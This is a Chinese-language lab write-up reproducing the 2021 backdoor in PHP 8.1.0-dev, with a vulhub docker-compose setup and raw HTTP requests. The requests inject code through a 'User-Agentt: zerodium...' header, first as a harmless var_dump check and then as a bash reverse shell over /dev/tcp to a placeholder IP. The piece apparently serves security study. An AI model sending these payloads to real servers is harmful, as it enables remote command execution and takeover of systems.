PHP 8.1.0-dev后门远程命令执行漏洞

摘要:GET / HTTP/1.1Host: 192.168.81.223:8800Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK

php verion 8.1.0-dev于2021年3月28日与后门一起发布,但是后门很快被发现并删除。

PHP verion 8.1.0-dev的PHP在服务器上运行,则攻击者可以通过发送User-Agentt标头执行任意代码。

新建docker-compose.yml

version: '2'services:web:image: vulhub/php:8.1-backdoorvolumes:- ./index.php:/var/www/html/index.phpports:- "8080:80"

启动环境

在header头增加user-agentt字段,值为:zerodiumvar_dump(2*3);

GET / HTTP/1.1Host: 192.168.81.223:8800Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6user-agentt: zerodiumvar_dump(2*3);Connection: close

如果执行了这个表达式,说明存在漏洞

GET / HTTP/1.1Host: 192.168.81.223:8800Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateUser-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/ip/6666 0>&1'");Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6Connection: close

代码中含有”zerodium”字符串,而zerodium是一个专门出售漏洞的网站.在此事件中,官方怀疑黑客攻陷了git.php.net服务器,以PHP作者的名义做了两次代码提交。

来源:李哥说山水

相关推荐